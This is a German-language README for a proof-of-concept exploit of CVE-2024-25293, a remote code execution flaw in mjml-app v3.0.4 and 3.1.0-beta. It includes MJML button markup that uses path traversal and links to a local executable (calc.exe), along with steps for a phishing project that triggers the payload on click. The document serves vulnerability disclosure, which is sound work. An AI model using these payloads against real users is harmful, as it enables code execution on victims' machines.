
mjml-app v3.0.4 & 3.1.0-beta RCE-Exploit
Ein Proof-of-Concept für die Schwachstelle CVE-2024-25293.
Es wurde festgestellt, dass mjml-app v3.0.4 & 3.1.0-beta eine Remote-Codeausführung (RCE) enthält.
In diesem Repository befinden sich eine beispielhafte verwundbare Anwendung und ein Proof-of-Concept-Exploit (POC) dafür.

Schritt 1) Der Angreifer erstellt ein 'mj-button'-Element mit einem 'href'-Tag und
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

Schritt 2) Der Angreifer erstellt das Haupt-Phishing-Projekt mit dem folgenden Code.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Schritt 3) Das Opfer öffnet das geteilte Projekt und klickt auf die Schaltfläche, wodurch die Ausführung der Payload (z. B. calc, notepad) ausgelöst wird.

Das Ausführen von EXE-Dateien über href-Tags innerhalb einer Anwendung ist riskant, und das Ausführen von Dateien in Kombination mit Path Traversal ist ein Sicherheitsproblem. Dadurch können Phishing-Projekte erstellt und bereitgestellt werden, um lokale Dateien auszuführen. Daher ist es unbedingt erforderlich, diese Funktion zu ändern, um eine solche Ausführung zu verhindern.